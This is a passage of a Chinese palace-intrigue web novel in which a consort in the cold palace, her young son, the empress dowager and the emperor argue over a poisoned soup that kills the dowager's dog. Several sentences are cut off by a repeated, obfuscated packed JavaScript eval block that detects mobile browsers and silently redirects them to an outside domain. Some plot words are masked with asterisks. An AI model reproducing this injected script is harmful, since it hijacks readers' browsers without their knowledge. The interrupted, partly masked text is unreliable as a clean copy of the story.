“我…我…”贺云瑄双手抱着头,太后方才的话,在他的脑海里不断回响着,他从来不知道自己自以为不关心他的母亲,竟然是为了他… 可他却是连母亲为什么掉进枯井都不知道,他怎么可以这么混账? 贺云瑄摇着头:“不知道,我不知道,娘亲,对不起,对不起,我…” “你真的什么都不知道?院外的那枯井多么深,你母亲掉下去能捡回一条命都是侥幸,你作为儿子,连她为什么去那个地方都不知道?”太后继续不依不饶。 她屡次提起枯井,像是在斥责贺云瑄,但却能让人感觉到,她对那枯井格外的关心,又或者说… 让她更在意的是晋明鸢掉进枯井的原因。 “我…” “这儿只有你与她朝夕相处,她当真没有提过她为什么去那么偏僻的地方吗?” 就好像看不到贺云瑄的崩溃,太后依旧是居高临下的质问着。 她语速很快,话也很密,完全没不给晋明鸢安慰贺云瑄的空档。 直到她这一次话音落下,晋明鸢终于忍无可忍:“你说够了没有?堂堂一个太后,在这里逼迫一个只有五岁大的孩童,您当真不觉得您咄咄逼人的模样很是丑陋吗?” “放肆,晋娘娘,太后也是在为您说话,你怎么能这样质问太后呢?”王嬷嬷怒道。 第22章 他是舍不得他的心肝吧 “为我说话就是逼迫打压我儿子啊?我与我儿子关系怎么样,关你们什么事? 这位嬷嬷竟然那么着急,那我倒是想问问你,你平时几时出恭,几时出门,样样都要告诉你儿子吗?” 晋明鸢双手插着腰,全然一幅泼妇骂街的姿态,不管是语气还是动作,都带着一股浓浓的匪气。 “这…我…这根本不是一回事儿,我…”王嬷嬷嘴角抽搐两下,被晋明鸢堵的连呼吸都梗住了些许。 她那是说的什么话?简直是无理至极,好歹也是伺候过陛下的人,怎么就这么粗鄙不堪? 王嬷嬷自幼就跟在太后身边伺候,又是太后的陪嫁,平日里接触过的那都是世家贵女,哪里有晋明鸢这么粗鄙的? 哪怕过了有一会儿了,王嬷嬷都觉得晋明鸢那句出恭还在她耳膜里回荡不止。 “怎么就不是一回事了?嬷嬷自己都不会把自己行踪事无巨细地告诉自己儿子,想来太后也不会何时出恭,何时吃饭,都与陛下报备,既是如此,云瑄不知我为何去枯井附近有什么问题吗?”晋明鸢道。 “你…你真是粗鄙不堪,你的意思是你去那里出恭了?”王嬷嬷质问。 晋明鸢翻了个白眼:“我哪记得,说不定就是呢?反正不管我是去做什么,这件事都不是你们来刁难云瑄的理由。 太后若是真想借此来指责云瑄不对,那我倒要求见陛下,要他可得盯紧太后娘娘您,把您出恭的时间都记着,免得以后这顶大帽子也扣到了他头上。” 晋明鸢自己完全不觉得自己说的话有什么问题,倒是太后背后的安妃忽然噗嗤一声笑了出来。 而太后这会儿更是捂着胸口,连呼吸都有些不顺畅,她指着晋明鸢说:“你…你真是胡搅蛮缠,粗鄙不堪,你…” “太后娘娘谬赞,我也只是实话实说而已。”晋明鸢道。 “你…”太后的胸口依旧是起伏不定,她这次你了半天,都说不出一句所以然来。 晋明鸢已经弯腰抱住了贺云瑄,她说:“我不知道太后娘娘为什么要与云瑄说那些话,但我既然选择把他生下来,你口中的那些就是我本应该做的。 这是一个母亲对孩子应尽的义务,换做任何人都会这样选的,这本就是再正常不过的事,不应该成为你用来打压我儿子的武器。 我们云瑄很好很好,没有一点对不起我的地方,劳烦太后再质问云瑄的时候,先回过头去想想,你出恭的时候难道陛下次次陪你吗?” 晋明鸢的话,本来还一本正经,贺云瑄脑袋埋在她怀里,几乎要哭出来了,可直到听到她最后一句话落下,那马上滚落下来的眼泪都僵在了眼眶里。 贺云瑄嘴角抽了又抽,连表情都有些龟裂。 他真是搞不懂,怎么会有人上一秒还说着煽情的话,下一秒就能这么让人哭笑不得的。 太后那好不容易缓和了的情绪这下也是瞬间崩盘,她怒道:“够了!来人!把这个口无遮拦的女人抓起来掌嘴三十,哀家今日非得让她长长记性。” “不要,不要打我娘亲,我愿意替娘亲受罚。”一听太后动怒,贺云瑄瞬间回神,猛地推开了晋明鸢。 “替?哀家想打谁,岂是你说替就能替的?来人,把他拉开,把那女人拖过来掌嘴。”太后吼道。 她连呼吸都不太稳,甚至手扶着桌沿,才堪堪站稳身形。 太后扪心自问,她这过往的四十多年,也从未见过这么粗鄙不堪的女人。 “哎哟喂,这是谁惹太后娘娘生气了,怎么发的这样大的火?”就在王嬷嬷带人要过来拉晋明鸢的时候,外面忽然传来了一道尖细的声音。 张公公满脸堆笑的走了进来,他的背后还跟着一个提着药箱的中年男子,看模样应是太医。 太后脸色一僵:“你怎么来了?” “陛下听闻安妃娘娘受了伤,特地让奴才亲自带太医过来看看呢。”张公公说。 太后扫了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482368|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼张公公背后那低眉敛目的太医,没好气的说:“看禾儿?呵,哀家看他是生怕哀家动了他的心肝肝吧?” “太后娘娘说笑了,这满宫里谁都知道,陛下的心肝如今好端端的在玉粹宫呢,奴才这次真的是为了安妃娘娘来的,陛下还说了,让奴才看过安妃娘娘的情况后抓紧去向他复命呢。”张公公说。 “是吗?既然是这样,你让太医给禾儿看伤,哀家责罚这个女人,这并不冲突。”太后说。 张公公道:“是不冲突,只是太后娘娘罚人也该有个理由吧,奴才这次既然是撞上了,回去总得给陛下个交代的。” 太后看着晋明鸢,那些被人冒犯的话还在她的脑海里回荡着,她这会儿是一个字也不想说,于是便对王嬷嬷道:“你跟他说。” 王嬷嬷亦是缓不过神来,磕磕绊绊的才把晋明鸢的那两句话复述了一下,她这前脚说完,后脚张公公嘴角也抽搐了。 这… 难怪太后那么生气,这话是有些糙了。 张公公道:“这晋娘娘说话确实多有冒犯,不仅冒犯了太后,也冒犯了陛下,奴才觉得此事还得让陛下来定夺,太后娘娘说呢?” 让太后娘娘出恭时与陛下禀报,这种话也不知她是怎么想出来的,且不说荒唐与否,只怕太后娘娘这会儿心底一定是要呕**。 谁不知道太后这些年心思颇多,恐怕她巴不得陛下别盯着她呢。 太后怒不可遏:“你个刁奴真是好大的胆子,难道哀家身为太后,连处置一个废妃的资格都没有了吗?” “这资格您自然是有的,只是这毕竟涉及陛下,奴才还是得先问过陛下的意见。”赵公公说。 他看也不看太后,对着自己带来的太医使了个眼色:“程太医,怎地这么没眼力劲儿?再不给安娘娘治伤,安娘娘这血怕是就流干了。” 安妃赶紧伸出了一双手:“本宫这伤确实疼得厉害,劳烦程太医快帮本宫看看。” 第23章 安妃娘娘伤口有异 太后目光阴鸷的朝着安妃的方向扫了过来,她眼睛里的怒意丝毫不带掩饰,就像恨不得要将安妃生吞活剐了一样。 哪怕晋明鸢再如何神经大条,都能感觉到太后在看向安妃时那浓浓的恶意。 看来她这个姑母,与安妃并非是一条心的。 安妃低着头,靠躲闪来躲避太后的目光。 她那流着血的手心里,还能看到明显的伤口,程太医只是看了一眼,忽然满脸惶恐的后退一步,正对着太后的方向跪了下来。 开口说话的时候,他语调已经惶恐到发颤:“太…太后娘娘,安…安妃娘娘的伤有问题,这…这…” “有问题?有什么问题你倒是直说呀,这样磕磕绊绊做什么?”太后有些不耐烦道,她很是不满的扫了安妃一眼,又自言自语的嘀咕,“不就是被瓷片伤了吗?至于这么吞吞吐吐的?” “不…不是普通瓷片,若只是普通划伤,娘娘的伤口不至于溃烂的这么快,以微臣只见,这划伤娘娘的碎瓷里怕是含了**。 只有碰到过量的**,才会让伤口溃烂的如此严重。”程太医颤抖道。 “你说什么?**?这宫里怎么会有**?程太医,说话可得仔细些,莫要信口开河。”这次说话的并不是太后,而是张公公。 张公公声音也尖锐了起来,虽然在质疑程太医,但他的目光已然落在了安妃的手上,那伤口确实已经有明显的溃烂,完全看不出被划伤时本来的样子了。 “这…微臣不敢妄言,不知划伤娘娘的瓷片可还在?只要看到那瓷片上沾了什么,一切就明了了。”程太医说。 “瓷片呢?这冷宫里怎么会出现**?这可不是件小事,晋娘娘,你有什么要说的吗?” 这毕竟是晋明鸢的地盘,张公公不知道太后送汤的事,自然而然的就先问起晋明鸢来。 晋明鸢自听到**二字的时候,就已经慌乱不已的去看贺云瑄下颌处被划伤的那细小的口子。 好在贺云瑄的伤口不大,那划伤他的碎瓷似是没沾染旁的东西,那伤口也没有溃烂的迹象,但晋明鸢心里还是后怕不已,久久都没有回过神来。 就在这时,外面忽然传来了一声惊叫:“娘娘,娘娘不好了,小黑…小黑没了。” “这又是怎么了?”太后怒道,她脚下好似踉跄了一下,被王嬷嬷扶住才站稳了身形,抬脚就朝着门外走去。 小黑是年前太后刚养的一条狗,生的乖巧听话,很得太后喜欢。 太后不管去什么地方,都让人带着它,在福寿宫里的时候,更是总把它抱在怀里消磨时间。 虽然这条狗太后养了不到一年,但是感情却是格外的深的。 现在小黑没了,可想而知太后的紧张。 伴随着太后出门,一众人也不敢耽搁,纷纷急匆匆地跟在她后面往外走。 只有晋明鸢还在关切着贺云瑄的情况,还是贺云瑄先拽了一下她的袖子:“娘亲,我们也去看看吧。” 不管是他也好,还是安妃也好,都是被太后送来的装着补汤的白玉碗碎片所伤。 至于程太医一口咬定的**,必然就在补汤里。 可那汤却是贵妃送给太后的,这件事就变得有趣起来。 这到底贵妃想要害太后呢,还是太后… 贺云瑄看了一眼晋明鸢的侧脸。 一个念头在心里不断的弥漫,可是他又想不明白,他与娘亲在冷宫待了五年,娘亲始终是安分守己的,太后应该没必要大费周章的害娘亲来嫁祸贵妃才是。 但这件事若非太后自导自演,贵妃必也不可能在自己亲手送给太后的汤里做手脚,难道… 是安妃? 也不对,汤是安妃打翻的,如果真是她想害娘亲,就没必要打翻那碗汤,只要劝着娘亲与自己一起喝下就是。 无数的想法在贺云瑄的心底一次次的闪过,不管哪一种猜测都好像带着几分不对劲。 贺云瑄渐渐冷静下来,不管怎么样,他一定要查清这件事的原委,绝不能让任何人就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482369|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不声不响的害了娘亲, 晋明鸢不太想去凑那个热闹,偏又架不住贺云瑄的央求,只能被他连拖带拽的出了房门。 冷宫院子里已经乱作了一团,一条小**奄奄一息的倒在地上,嘴里还不断的吐着白沫。 在小**的旁边,还有一些凌乱的碎瓷。 太后手扶着树干,才勉强站住身形,她怒不可遏的道:“这到底是怎么回事?哀家的小黑怎么了?” 刚才负责收拾碎瓷的扶烟姑姑颤颤巍巍的道:“太后娘娘,奴婢…奴婢方才在屋里将这些碎瓷收了出来,本想找个东西装一下,但一眼没有注意,小黑忽然舔了这些碎瓷,然后…然后就…” 扶烟像是怕极了,后边的话完全说不下去。 程太医听到这里,已经慌忙蹲下身去看那些碎瓷,不多时,他脸上就已经出现了郑重之色:“敢问娘娘,这碗里之前装了什么?那**确实是出自这里。” “什么?这不可能吧?程太医你是不是看错了?这汤本来是贵妃娘娘亲手送给太后的,怎么会有**呢?”王嬷嬷不可置信的道。 听到这汤是这样的来由,程太医像是吓了一跳,但还是很快的点头:“这…微臣不知这汤的来历,但这汤确实是有问题的。” 得到了笃定的结论,太后双腿一软,险些跌倒,她怒道:“贵妃!来人,把贵妃给哀家叫来,她真是好大的胆子,竟敢谋害哀家! 还有皇帝!哀家倒是要看看,这件事他知道多少?是不是他示意他的好贵妃谋害哀家的。” 张公公在一边已经是冷汗连连,他知道这样的场面已经不是他一个内监就可以应付过去的了,他低声对着自己身边的一个小内监吩咐了一句。 直到那小内监跑开,他依旧觉得自己的后背一片冰冷。 先不管这汤里的**到底怎么回事,但不论是太后喝了,还是这晋娘娘喝了,这事儿都没办法收场,幸好… 张公公又看向了安妃:“程太医,先给安妃娘娘清理伤口吧。” 第24章 谁要害他的娘亲 安妃始终都是安安静静的,程太医注意力望过来的时候,她也是很配合的,摊开了自己的手。 哪怕现在情况已经乱作了一团,所有人脸上都带着惶恐之色,安妃的表情也没有多少变化,就好像她早就料到了这一切一样。 贺云瑄也注意到了安妃的异常,他抬起眼来看向了安妃。 两个人的视线有短暂的交汇,安妃道:“小公子的伤也该处理处理,我不要紧,程太医先帮他看看吧。” “不用了,我的伤已经好了,还是安娘娘更严重,太医赶紧帮安娘娘治伤吧。”贺云瑄推辞道。 不管安妃是真心还是假意,在这样的情况下,贺云瑄心里也已经生了提防。 晋明鸢手按在贺云瑄的肩膀上,难得的保持了安静。 在太医将安妃的手包扎好之后,被张公公派去请人的那名小内监已经急匆匆的回来了。 可他却是孤身一人,并没有请来太后想见的人,太后脸色一下子就沉了起来,怒道:“皇帝呢?贵妃呢?哀家让你去请人,你把人请哪儿去了?” 小内监道:“太后娘娘息怒,奴才已经将这里的情况与陛下说过了,可陛下现在已是将贵妃娘娘请去了紫宸殿,就等着太后娘娘过去了。 陛下说,如果此事真的与贵妃有关,他一定会给太后娘娘一个交代的,还请太后随奴才移步紫宸殿。” “你说什么?他让哀家去见他?你看清楚了,现在是哀家的狗和哀家的侄女儿都因为贵妃那碗汤出了意外,他连过来都不愿意吗?”太后道。 不知是因为愤怒还是别的什么,太后说话的时候连肩膀都是在颤抖的,片刻后她又补充:“若他还当哀家是他母后,便让他带着他的贵妃过来。” 小内监道:“太后娘娘,这若是别的地方便也罢了,可这儿是冷宫,您知道的,陛下从来都不愿踏足冷宫,还请太后娘娘移步紫宸殿。” 伴随着小内监的这句话,太后好像想到了什么,目光朝着贺云瑄身上瞥了一眼,她最后终于妥协,一甩袖子道:“走,扶烟,带上那些碎瓷,哀家倒是要看看,他打算怎么给哀家交代。” 没有走出去几步,太后忽然又停下了脚步:“晋氏也是受害者吧,让她也跟着一起。” 张公公听到太后的话,连连道:“太后娘娘三思,陛下也不想见晋娘娘,这碗汤毕竟也没有伤到晋娘娘,和她关系不大,还望太后娘娘莫要再多此一举了。” 话到这里的时候,张公公都忍不住擦了擦冷汗。 要知道在不久前,这位晋娘娘可是没认出陛下的身份对人吆五喝六,陛下非但没有拆穿,反而还很是配合。 这么看来,今日陛下不来冷宫,未必就是不愿意看到谁,说不准这便是陛下与晋娘娘之间的情趣呢? 他已经因为揣摩不对陛下的心思平白挨了杖责,这回可得小心仔细的考虑了。 太后虽然觉得张公公的话不太中听,但到底还顾及着那碗汤,还有自己死去的狗,冷哼了一声,没再僵持,抬脚朝着冷宫外面走去。 仅仅是一瞬间的功夫,原本冷宫院子里几乎站满的人就如潮水一般散去,那只**的尸体和碎瓷全被太后的人当做证据带走了,安妃也跟着走了。 贺云瑄却一直都盯着那些人离开的背影,就好像久久没办法回神一样。 “还好还好,多亏了安妃打翻了那碗汤,若不然…”即便人都走了,晋明鸢这会儿还是一阵的后怕,她拍着胸口,久久都没有办法回神。 话没有说完,她先注意到贺云瑄那幅不似孩子,过分凝重的表情,连忙弯下了腰来:“小瑄瑄你怎么了?可是吓坏了?都是娘不好,这次怪娘舒服,以后娘一定会更小心谨慎,娘自己学做饭,咱们以后不要别人的东西。” 她很是紧张的把贺云瑄抱在了怀里,哪怕在强作镇定,她现在的身子也是抖个不停。 “娘,你说那里边的毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482370|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁下的?”贺云瑄问。 晋明鸢道:“说不准就是那贵妃了,你没听见吗?那人不是说了汤是贵妃亲手做给太后的。” 贺云瑄摇摇头,怎么可能那么简单,这天底下哪有人蠢到实名下毒? 贺云瑄总觉得那毒根本就不是冲着太后来的,而是冲着他的娘亲来的。 他一张小脸尽是凝重,目光依旧盯着冷宫那扇已经被关上了的门,他只觉得这件事的结果对他来说很重要,可偏偏以他现在的能力,又没有办法跟到紫宸殿去。 晋明鸢手指戳着贺云瑄的脸颊道:“好了,小瑄瑄,莫要再绷着一张脸了,那太医也真是小气,来都来了,竟是不知留下个金疮药,这伤还疼不疼?” 贺云瑄被她强行拉回了注意力,轻轻的摇了摇头,但小手却在袖子里略微的收紧。 他不明白她怎么就心那么大,这种事明明就是冲着她来的,她怎么能毫不在意? 罢了,以后自己只能再小心谨慎一点,断不能让他这大大咧咧的娘亲被人害了。 只是这件事… 贺云瑄又一次看了一眼那紧闭的门扉,也不知最后的结果能不能传到冷宫来。 晋明鸢道:“好了,小瑄瑄瑄这也折腾了大半天了,娘先带你去休息一会儿吧?” 知道再等下去也没有什么结果,贺云瑄这次点了头,主动牵着晋明鸢的手,往他住的偏殿而去。 在偏殿之中,陈设虽然也格外的简陋,但总归家具是齐全的,也没有缺胳膊少腿的情况,被褥虽然很旧,倒也可以避寒。 小小的房间被清理的很干净,本就不多的东西也被摆放的井井有条,晋明鸢知道,贺云瑄的房间绝不可能有人打理,这一切都是他自己收拾出来的。 虽然早就知道了自己曾经对贺云瑄不怎么样,进门之前心底也早有预想,在看到这一幕的时候,晋明鸢还是心头略微酸了一下,她闷声道:“小瑄瑄,对不起。” 第25章 母后莫要辜负贵妃的孝心 尽管晋明鸢声如蚊呐,那道歉声还是不偏不倚的传到了贺云瑄的耳朵里。 贺云瑄脚步微顿,回过头来的时候,他已经是猛地扑进了晋明鸢的怀里,手把晋明鸢的腰抱得紧紧的:“娘亲,你别道歉,该说对不起的是我,都是我不好,误会了您,这五年来,因为听信了别人的话,我以为…以为…” 他哽咽着,话有些说不下去。 在没进过晋明鸢房间之前,别人都告诉他贵妃给了晋明鸢多少东西,告诉他晋明鸢过得有多好的时候,他竟是真的生过怨怼。 可真的到了现在,在回到自己的房里,一切对比如此明显,他感觉自己甚至没有脸面来面对晋明鸢。 还有太后的话更是在他耳边一遍遍地回想着。 是呀,混淆皇室血脉,这样的大罪,那个人都能留她性命,还不能证明她曾经在那个人心里地位多么重吗? 可她… 竟是为了自己,甘愿在这种地方一待就是五年,他怎么能… 怎么能再怪她对自己不好呢? 他的母亲,当是这世界上最好最好的人了。 晋明鸢没想到,自己一句话,竟然引来了贺云瑄这样大的反应。 她有些无措的将手按在了贺云瑄的肩膀上,她大约能猜测到,让贺云瑄变化这么大的缘由是来自于太后那些话。 她道:“小瑄瑄,你该不会是信了太后那些鬼话吧?哎呀,你这孩子怎么这么糊涂,你看她今日那咄咄逼人的样子,能是什么好人吗? 那话指定就是她故意说出来,让你难受的,可不能信。” 她并不会安慰人,也不是什么能静下心来安慰人的性格,语毕也不管贺云瑄什么反应,她就直接将人抱了起来:“好了,时候不早了,娘哄你睡觉。” 贺云瑄的手紧紧的揪着她肩头的衣裳,依旧是闷声固执道:“对不起,如果不是为了我…” 他很清楚太后没必要对他撒那样的谎,那没意义。 刚才那样的情况,太后故意激他,就是想要从他嘴里套些话的,就更不可能再说谎了。 太后所说的一切,十之**都是真的。 晋明鸢已经把人放在了床上:“又说胡话了,小瑄瑄,你从来都没有办法决定你自己的出身,就算太后说得是真的,把你生下来的是我,该承担这一切的也是我,归根结底是你替娘亲受了这五年的委屈,你又何必道歉呢?” 她的手指在贺云瑄的眼角拂过,擦掉了一片湿意,过分温柔的动作与她这个人的往常行径很是不符。 “好了,快躺下睡觉吧,还是小瑄瑄想要娘再给你道歉?”见贺云瑄迟迟没反应,晋明鸢又放柔了声音哄道。 她这句话终于起到了该有的效果,贺云瑄不敢再犹豫,手忙脚乱的自己扯了被子过来将自己裹的严实。 贺云瑄的半张脸都埋在被子里,只余一双眼睛留在外面,他看了晋明鸢一眼,闷声道:“你出去吧,我自己睡就是。” “不用娘在这里陪你吗?”她问。 贺云瑄偏了偏头,梗着脖子道:“不用了,我已经五岁了,是大孩子了。” 他的手揪着被角,声音有些固执。 他想让她留下,可是他不敢,他怕他生了依赖。 他可是男孩子,他要保护母亲,而不是依赖母亲。 晋明鸢也同样看着贺云瑄,小孩现在正呈现出一个背对着她的姿势,逐客令下的很是明显,她叹了口气。 罢了,还是自己之前做的不够好,和儿子拉近关系的事,不能太过着急。 关门声闷闷的响起,贺云瑄猛地转过了身,看着她走后这空落落的房子,明明和之前一般无二,但贺云瑄还是有种空落落的错觉。 明明在她没来过之前,他从未感觉到这房子如此空旷的。 不同于晋明鸢和贺云瑄这里还算宁静的气氛,紫宸殿里早就乱做了一团。 **的尸体就躺在大殿中央,太后怒道:“皇帝,你当真为了这么一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482371|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个女人,不顾哀家与你的母子情谊?” 这场面已经僵持了有一会儿了,自来到紫宸殿起,太后就在不住的发难,可从始至终,贺江灈给她的只是一句和贵妃无关。 那贵妃始终立在他的身边,时不时的吸吸鼻子抹抹眼泪,好像只凭这柔弱无依的模样就轻而易举的脱掉了嫌疑。 又或者说她脱掉的不是嫌疑,只是取得了皇帝不分清白的庇护。 只是看到这一幕,就让太后遏制不住的怒火中烧。 “母后莫要无理取闹,您之前也说过了,汤是贵妃亲手做的,亲自端给您的,她与你何仇何怨,做得出这等实名下毒的事? 朕知道母后的爱犬**,母后激动也无可厚非。只是您还是得注意一些,莫要因为一条狗,辜负了贵妃的孝心。”贺江灈道。 方才在太后面前,他还稍稍有几分客气,这一次话却说的无比直白一点,也没有顾及到太后的面子。 “辜负?你说哀家辜负的是她的孝心?皇帝是不是忘了,若是没有那条狗,喝下这汤的就是哀家了,皇帝的意思是要让哀家用命来回应她的孝心?”太后反问。 她与贺江灈隔着有几步远的距离,但她此刻时表现出来的怒气却几乎是化作实质,扑到了贺江灈的脸上。 相较于太后的失态,贺江灈却是一派的风轻云淡,他只笃定道:“如果没有这条狗,喝下这汤的也不是您吧,说到这里,朕倒是有些好奇,贵妃好心送给母后的汤,怎么就到了冷宫,莫非你早知道这汤有问题,所以想要借刀**?” 最后四个字,贺江灈咬的更轻,根本就不给太后回话的机会,他又自顾自的道:“说到这里,朕也有些好奇,晋氏到底怎么得罪了母后,让您要在她进入冷宫的第五年忽然赶尽杀绝。” “你说什么?皇帝话可不能乱说,哀家…那汤是贵妃给哀家的,哀家怜惜她有伤,特地送她补身子的,你不能为了包庇你的贵妃,就将这顶破帽子扣到哀家头上。”太后道。 第26章 无法自证 明明他是来质问贺江灈,来质问贵妃的,但是伴随着贺江灈把这质问回抛到她的头上,一下子就把她的底气都断了。 伴随着她开始自证,方才那份咄咄逼人好像都变得像极了心虚。 而不管太后的态度是强是弱,贺江灈看向她时,那双眼睛依旧没有什么波澜。 反倒是衬得太后那不断转变的态度像极了小丑。 贵妃在这时候又开始捂着唇哽咽起来:“太后娘娘,陛下说的是真的吗?你真的想借臣妾的汤害姐姐? 您…您…您这样行事,让臣妾以后怎么面对姐姐?姐姐明明五年未出冷宫,您怎么就对她有那么大的恶意?” 她抽泣声不断,身子更是摇摇欲坠的,下一刻就能倒下去一样,那幅弱柳扶风的模样,让人一看就心生怜惜。 但是这一幕看在太后眼里,却让太后厌恶的皱了皱眉,随即又是恨铁不成钢的看了安妃一眼。 安妃则是低着头,哪怕身在这混乱的紫宸殿里,她却好像一个局外人一样,没有一丁点要参与其中的意思。 就连太后的目光,她也是视而不见。 伴随着贵妃的话落下,就好像是坐实了太后自己在汤里做了手脚,自导自演一般,太后胸口一阵起伏,在冷宫被晋明鸢那些混不吝的话带出来的那股子窒息感又一次涌上了心头。 她道:“你给哀家闭嘴,皇帝,说话该讲个道理,你在这个位置上做了这么多年,难道在前朝断案也是这边随意的吗?上下嘴唇一碰黑的也说成白的,这是当年先帝教你的吗?” 太后也意识到了,一味的自证,只会让自己的气势矮上一截,她很快就调整了心态,拿出了说教的姿态,想要靠着先帝来压贺江灈低头。 贺江灈说:“母后误会了,朕这不正是跟着您学的吗?您可以没有证据怪贵妃毒**您的狗,那朕为什么就不能觉得是您在汤里做了手脚,妄图嫁祸贵妃毒害晋氏,这不是一样的道理吗?” “你…你是皇帝,事情捅到了你面前,你就不能让人去查证吗?”太后深吸一口气,觉得自己眼前都是一片发黑。 混账! 这个贺江灈,真是越来越混账! 和他那个好皇后,简直一个模子里刻出来的混账! 当年若早知他做了皇帝如此混账。 她绝不可能让流儿退步的。 “既是母后要朕替你做主,母后何不自己带着证据来?母后既拿不出证据,就说明您自己也有嫌疑,若是母后没有办法洗清嫌疑的话,便好好的回福寿宫待着吧,等朕哪日有时间了,总能给你一个清白的。”贺江灈道。 太后眼前一阵发黑,被贺江灈这一套说辞气得险些直接昏倒过去。 她道:“皇帝,这可是宫中**的大事,你怎么能为了包庇贵妃就如此儿戏?” “母后可不能这么冤枉儿子,您自己焉有嫌疑,儿子,此举怎么就不是包庇的您呢?”贺江灈道。 一句话落下,他对着张公公道:“好了,母后今日受惊了,送母后回福寿宫好好歇着吧。” 他摆了摆手,直接下了定论,看也不看太后那错愕的神色。 “太后娘娘,请吧。”张公公说。 明明是个局外人,这会儿他都能深刻体会到太后此时的愤怒。 怕是这会儿太后在冷宫里的那份气都没有消下,现在又被陛下这般一次次的忤逆,只怕她回去后应该很长一段时间都不愿意看到陛下和晋娘娘了。 太后伸手,直接重重地打开了张公公探过来的胳膊,她对着贺江灈吼道:“这件事你不管是吧?你不管哀家自己查,等哀家把证据拿来的时候,看你还怎么包庇你的好贵妃。” 贺江灈道:“母后请便,朕也想看母后早点自证清白。” 他这一句话让太后脚下一顿,整个人都显现直挺挺的倒下去。 太后这会儿是一刻也不想再看到贺江灈了,她袖子一甩,临走的时候还顺手拽上了安妃,走的很是急促。 贺江灈目送着她的背影离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482372|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那双原本风轻云淡的眼睛渐渐的染了郁色,他看了一眼地上**的尸体:“母后忘了她的爱犬,张康全,给母后送过去吧。” 伴随着那条狗被抬走,贵妃又柔柔弱弱的哭道:“陛下,太后娘娘怎么能这么狠心?她怎么能借着臣妾的名义伤害姐姐? 虽然此事不是臣妾所为,但是臣妾只要想到姐姐险些因为臣妾受伤,这心就没法安宁。” 她哭的抽抽噎噎的,像是连气都喘不上来一般。 手伸过来,想要拉贺江灈的袖子,但手指还没碰到贺江灈的衣角,男人就声音冷淡的道:“贵妃,这件事你也有嫌疑,在没有自证清白之前,你便暂且在玉粹宫禁足吧。” “陛下?”贵妃瞪大了眼睛,连眼泪都止住了。 他甚至怀疑自己是不是听错了,明明方才在太后发难的时候,陛下分明是明里暗里都在维护她的。 “陛下,臣妾根本不可能给太后实名下毒呀,那汤臣妾日日都往福寿宫送,明明之前都没有问题的,今日…” “巧了,贵妃没有听到吗?太后也是这样说的,在事情没有弄清楚之前,为了防止旁人说朕偏颇,贵妃便在玉粹宫禁足吧。 若是贵妃实在心里有怨,便好好想想你为何要多此一举,日日给太后送汤。”贺江灈说。 贵妃还是瞪圆着一双眼睛,就像是没有办法理解贺江灈的话一样。 他这是什么意思?怪自己对太后太过孝顺吗? 贺江灈像是不耐烦了,他摆摆手道:“贵妃若无别的事,便退下吧,或者你也可以像太后一样,自己想办法自证清白。” 听出他话里的不耐,虽说贵妃心里依旧有诸多疑问,到底不敢再耽搁下去,只能带着满春不情不愿的退了下去。 贵妃走后没多久,张公公就回来了,贺江灈一个眼神扫过来:“清理干净了?” 张公公点头:“如陛下所料,此事确实是太后自导自演,奴才们已经清理干净了,绝不会让太后有办法自证。” 第27章 晋氏,你冷静一下 